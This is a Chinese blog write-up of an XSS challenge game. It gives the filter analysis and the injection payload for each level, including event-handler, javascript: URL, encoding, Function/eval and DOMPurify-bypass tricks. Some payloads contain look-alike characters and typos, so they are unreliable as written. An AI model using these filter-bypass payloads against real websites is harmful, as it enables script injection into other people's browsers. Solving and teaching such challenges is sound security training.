XSS Game

Ma Spaghet!

我们可以看见这里使用的方法是innerHTML,所以我们可以用以下方法

alert,confirm, prompt

所以我们可以注入?somebody=<img%20src=1%20οnerrοr="alert(1337)">

Jefff

我们可以发现这里的关键是eval,我们可以通过jeff输入值以后进行一个双引号的逃逸,最后我们可以使用alert进行注入

所以我们可以注入?jeff=aaa";alert(1337);"

Ugandan Knuckles

我们可以从代码中发现他对<>进行了过滤,所以我们可以考虑用到Onfocus 和autofocus自动触发焦点类函数所以我们可以进行以下注入

?wey=1"%20οnfοcus="alert(1337)"%20autofocus=%20"

Ricardo Milos

从代码中我们可以分析得出这里是Form表单 action中的JavaScript可以直接触发

所以我们的注入如下?ricardo=javascript:alert(1337)

Ah That's Hawt

我们从代码中可以分析得到他过滤了(),innerhtml不能使用script,所以我们首先想到image标签,我们可以尝试将()进行编码,但是发现%28 %29并不起作用,我们可以将%编码试试,%25,这样到后端以后就会变成%2528 %2529

发现还是不能成功,所以我们可以尝试加入location,所以我们的注入如下

?markassbrownlee=<img%20src=%201%20οnerrοr=location="javascript:alert%25281337%2529">

Ligma

从代码中我们可以分析得出这里过滤了大小写和数字,所以我们通过jsfuck进行编码查询

然后我可以通过url编码进行注入

Mafia

我们发现他基本把符号进行全部过滤再加上我们所用的三个注入方法alert,confirm, prompt。

所以我们有以下三种方法进行注入

1、匿名函数Function ()()可以直接执行

例: Function(/ALERT(1337)/.source.tolowerCase())()

                                                                  转换小写

2、Parselnt转换进制数根据所需要用到的方法最大的一个字母进行进制转换,且大于该字母小于36,如果小于将不能被完整转回

例如

3、Eval(location.hash.slice(1))# alert(1337)

Slice为截取第一位字符,真正取值从a开始

我们这里以第一种方法为例子,构造注入如下

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

Ok,Boomer

可以从代码分析得出有一个Dompurify的过滤框架,Settimeout会把函数当字符串放入执行,会调用tostring方法,所以我们这里把突破口放在settimeout这个函数上,考虑通过ok来进行注入,

HTMLAreaElement ()& HTMLAnchorElement (),这两个标签对象我们都可以利⽤href属性来进⾏字符串转换。

a标签的href可以自动替换成字符串。

<a id=ok href=”javascript:alert(1337)”>

 我们可以从框架中Dompurify中发现Javascript被拉入黑名单需要寻找白名单如tel等,所以我们构造注入如下

?boomer=<a%20id=ok%20href="tel:alert(1337)">

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值